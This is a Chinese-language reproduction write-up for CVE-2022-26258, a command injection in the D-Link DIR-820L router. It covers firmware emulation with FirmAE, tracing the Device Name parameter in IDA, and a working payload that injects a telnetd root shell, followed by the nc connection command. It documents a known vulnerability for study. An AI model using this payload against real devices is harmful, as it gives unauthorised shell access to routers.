CVE-2022-26258
固件地址:http://www.dlinktw.com.tw/techsupport/download.ashx?file=2663
环境 Ubuntu18,(22 在模拟固件时会有问题)
FirmAE 下载
1 | # 从GitHub克隆项目 |
binwalk 下载
1 | pip3 install git+https://github.com/ReFirmLabs/binwalk.git |
CVE-2022-26258 固件模拟无法转发至宿主机,所以在 Ubuntu18 中安装 bp 进行操作
可以参考以下师傅的文章https://blog.csdn.net/dustbinhoj/article/details/128587565
使用binwalk 进行解包
1 | binwalk -Me DIR820LA1_FW105B03.bin |
固件模拟
在 FirmAE 文件夹中进行固件模拟,第一次运行时间较长,大约在 10-20 分钟左右,后面再次执行速度就会很快
1 | sudo ./run.sh -r DIR820L /home/blonet/下载/CVE/CVE-2022-26258/DIR820LA1_FW105B03.bin |
红框为模拟的 web 页面 ip 地址(默认端口为 80)
bp 进行抓包
打开 bp 内置浏览器,访问 192.168.0.1,点击取消
密码为空,直接 log in 即可
我们漏洞利用点就在 Device Name 中
点击发送 bp 抓包
在 lan.asp 文件中搜索 lanHostCfg_DeviceName_1.1.1.0 发现存入到paramStr 中
paramStr 为函数的返回值
搜索copyDataToDataModelFormat 函数返回给谁
最后定位到get_set.ccp 这个函数
1 | grep -r "get_set" | grep "匹配到二进制文件" |
定位到 ncc2 这个文件,使用 ida 打开,shift+F12 字符串搜索,Device_Name
传入的 obj 分别通过了hasInjectionString 函数和_system 函数。
继续对hasInjectionString 字符内容进行文件搜索,定位到libleopard.so 文件,使用 ida 进行打开
hasInjectionString 函数中为字符串过滤
__system 为拼接字符串并且执行
将 bp 里面值改为
1 | lanHostCfg_DeviceName_1.1.1.0=%0atelnetd -l /bin/sh -p 7080 -b 0.0.0.0%0a |
含义为:启动一个telnet服务器并在端口7080上监听所有网络接口。该命令可以让远程用户通过telnet协议登录到该服务器并在/bin/sh shell中执行命令。
后续 nc 连接即可获取 shell
1 | nc -nvv 192.168.0.1 7080 |